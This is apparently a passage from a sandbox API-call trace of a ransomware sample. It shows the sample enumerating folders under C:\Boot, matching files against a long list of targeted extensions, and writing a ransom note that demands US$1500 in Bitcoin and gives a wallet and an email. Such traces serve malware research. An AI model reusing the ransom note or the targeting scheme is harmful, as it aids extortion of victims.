PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.380] lstrlenA (lpString="*.raw") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.380] lstrlenA (lpString="*.nef") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.380] lstrlenA (lpString="*.svg") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.380] lstrlenA (lpString="*.psd") returned 5 [0057.380] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.381] lstrlenA (lpString="*.vmx") returned 5 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.381] lstrlenA (lpString="*.vmdk") returned 6 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.381] lstrlenA (lpString="*.vdi") returned 5 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.381] lstrlenA (lpString="*.lay6") returned 6 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.381] lstrlenA (lpString="*.mpeg") returned 6 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.381] lstrlenA (lpString="*.djvu") returned 6 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.381] lstrlenA (lpString="*.tiff") returned 6 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.381] lstrlenA (lpString="*.backup") returned 8 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.381] lstrlenA (lpString="*.pdf") returned 5 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.381] lstrlenA (lpString="*.cert") returned 6 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.381] lstrlenA (lpString="*.docm") returned 6 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.381] lstrlenA (lpString="*.xlsm") returned 6 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.381] lstrlenA (lpString="*.dwg") returned 5 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.381] lstrlenA (lpString="*.nd") returned 4 [0057.381] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.381] lstrlenA (lpString="*.tlg") returned 5 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.382] lstrlenA (lpString="*.lgb") returned 5 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.382] lstrlenA (lpString="*.mov") returned 5 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.382] lstrlenA (lpString="*.xdw") returned 5 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.382] lstrlenA (lpString="*.ods") returned 5 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.382] lstrlenA (lpString="*.wav") returned 5 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.382] lstrlenA (lpString="*.mp3") returned 5 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.382] lstrlenA (lpString="*.aiff") returned 6 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.382] lstrlenA (lpString="*.flac") returned 6 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.382] lstrlenA (lpString="*.m4a") returned 5 [0057.382] PathMatchSpecA (pszFile="C:\\Boot\\pt-BR\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.382] lstrlenA (lpString="*.csv") returned 5 [0057.382] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.382] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.382] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0057.382] lstrcmpA (lpString1=".", lpString2="pt-PT") returned -1 [0057.382] lstrcmpA (lpString1="..", lpString2="pt-PT") returned -1 [0057.383] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.383] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="pt-PT" | out: lpString1="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0057.383] lstrlenA (lpString="C:\\Boot\\pt-PT") returned 13 [0057.383] FindFirstFileA (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.383] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.383] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.383] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.383] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.383] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.383] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.383] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.383] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.383] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.383] PathFindFileNameA (pszPath="C:\\Boot\\pt-PT\\*.*") returned="*.*" [0057.383] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\pt-PT\\" | out: lpString1="C:\\Boot\\pt-PT\\") returned="C:\\Boot\\pt-PT\\" [0057.383] PathAddBackslashA (in: pszPath="C:\\Boot\\pt-PT\\" | out: pszPath="C:\\Boot\\pt-PT\\") returned="" [0057.384] lstrcatA (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\pt-PT\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\pt-PT\\HOW TO DECRYPT FILES.txt" [0057.384] GetFileAttributesA (lpFileName="C:\\Boot\\pt-PT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\pt-pt\\how to decrypt files.txt")) returned 0xffffffff [0057.384] CreateFileA (lpFileName="C:\\Boot\\pt-PT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\pt-pt\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.384] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.384] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.385] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.385] CloseHandle (hObject=0x84) returned 1 [0057.385] lstrcatA (in: lpString1="C:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="C:\\Boot\\pt-PT\\bootmgr.exe.mui" [0057.385] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.385] lstrlenA (lpString="*.ems") returned 5 [0057.385] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.385] lstrlenA (lpString="*.db") returned 4 [0057.385] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.386] lstrlenA (lpString="*.dbf") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.386] lstrlenA (lpString="*.myox") returned 6 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.386] lstrlenA (lpString="*.myo") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.386] lstrlenA (lpString="*.qbw") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.386] lstrlenA (lpString="*.qbb") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.386] lstrlenA (lpString="*.qbm") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.386] lstrlenA (lpString="*.qbo") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.386] lstrlenA (lpString="*.qbx") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.386] lstrlenA (lpString="*.qba") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.386] lstrlenA (lpString="*.qby") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.386] lstrlenA (lpString="*.qbj") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.386] lstrlenA (lpString="*.ofx") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.386] lstrlenA (lpString="*.qif") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.386] lstrlenA (lpString="*.mye") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.386] lstrlenA (lpString="*.mbox") returned 6 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.386] lstrlenA (lpString="*.eml") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.386] lstrlenA (lpString="*.pst") returned 5 [0057.386] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.387] lstrlenA (lpString="*.ost") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.387] lstrlenA (lpString="*.idx") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.387] lstrlenA (lpString="*.dbx") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.387] lstrlenA (lpString="*.sql") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.387] lstrlenA (lpString="*.mdb") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.387] lstrlenA (lpString="*.fdb") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.387] lstrlenA (lpString="*.wab") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.387] lstrlenA (lpString="*.dat") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.387] lstrlenA (lpString="*.txt") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.387] lstrlenA (lpString="*.jpeg") returned 6 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.387] lstrlenA (lpString="*.jpg") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.387] lstrlenA (lpString="*.png") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.387] lstrlenA (lpString="*.php") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.387] lstrlenA (lpString="*.cs") returned 4 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.387] lstrlenA (lpString="*.cpp") returned 5 [0057.387] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.388] lstrlenA (lpString="*.rar") returned 5 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.388] lstrlenA (lpString="*.zip") returned 5 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.388] lstrlenA (lpString="*.html") returned 6 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.388] lstrlenA (lpString="*.htm") returned 5 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.388] lstrlenA (lpString="*.xlsx") returned 6 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.388] lstrlenA (lpString="*.xls") returned 5 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.388] lstrlenA (lpString="*.mp4") returned 5 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.388] lstrlenA (lpString="*.ppt") returned 5 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.388] lstrlenA (lpString="*.pptx") returned 6 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.388] lstrlenA (lpString="*.doc") returned 5 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.388] lstrlenA (lpString="*.dot") returned 5 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.388] lstrlenA (lpString="*.docx") returned 6 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.388] lstrlenA (lpString="*.7z") returned 4 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.388] lstrlenA (lpString="*.tar") returned 5 [0057.388] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.389] lstrlenA (lpString="*.bz2") returned 5 [0057.389] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.389] lstrlenA (lpString="*.gz") returned 4 [0057.389] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.389] lstrlenA (lpString="*.mkv") returned 5 [0057.389] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.389] lstrlenA (lpString="*.eml") returned 5 [0057.389] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.389] lstrlenA (lpString="*.msg") returned 5 [0057.389] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.389] lstrlenA (lpString="*.edb") returned 5 [0057.389] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.389] lstrlenA (lpString="*.accdb") returned 7 [0057.389] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.389] lstrlenA (lpString="*.odb") returned 5 [0057.389] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.389] lstrlenA (lpString="*.java") returned 6 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.390] lstrlenA (lpString="*.asm") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.390] lstrlenA (lpString="*.pfx") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.390] lstrlenA (lpString="*.pem") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.390] lstrlenA (lpString="*.p12") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.390] lstrlenA (lpString="*.gpg") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.390] lstrlenA (lpString="*.vsd") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.390] lstrlenA (lpString="*.odg") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.390] lstrlenA (lpString="*.raw") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.390] lstrlenA (lpString="*.nef") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.390] lstrlenA (lpString="*.svg") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.390] lstrlenA (lpString="*.psd") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.390] lstrlenA (lpString="*.vmx") returned 5 [0057.390] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.390] lstrlenA (lpString="*.vmdk") returned 6 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.391] lstrlenA (lpString="*.vdi") returned 5 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.391] lstrlenA (lpString="*.lay6") returned 6 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.391] lstrlenA (lpString="*.mpeg") returned 6 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.391] lstrlenA (lpString="*.djvu") returned 6 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.391] lstrlenA (lpString="*.tiff") returned 6 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.391] lstrlenA (lpString="*.backup") returned 8 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.391] lstrlenA (lpString="*.pdf") returned 5 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.391] lstrlenA (lpString="*.cert") returned 6 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.391] lstrlenA (lpString="*.docm") returned 6 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.391] lstrlenA (lpString="*.xlsm") returned 6 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.391] lstrlenA (lpString="*.dwg") returned 5 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.391] lstrlenA (lpString="*.nd") returned 4 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.391] lstrlenA (lpString="*.tlg") returned 5 [0057.391] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.391] lstrlenA (lpString="*.lgb") returned 5 [0057.392] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.392] lstrlenA (lpString="*.mov") returned 5 [0057.392] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.392] lstrlenA (lpString="*.xdw") returned 5 [0057.392] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.392] lstrlenA (lpString="*.ods") returned 5 [0057.392] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.392] lstrlenA (lpString="*.wav") returned 5 [0057.392] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.392] lstrlenA (lpString="*.mp3") returned 5 [0057.392] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.392] lstrlenA (lpString="*.aiff") returned 6 [0057.392] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.392] lstrlenA (lpString="*.flac") returned 6 [0057.392] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.392] lstrlenA (lpString="*.m4a") returned 5 [0057.392] PathMatchSpecA (pszFile="C:\\Boot\\pt-PT\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.392] lstrlenA (lpString="*.csv") returned 5 [0057.392] 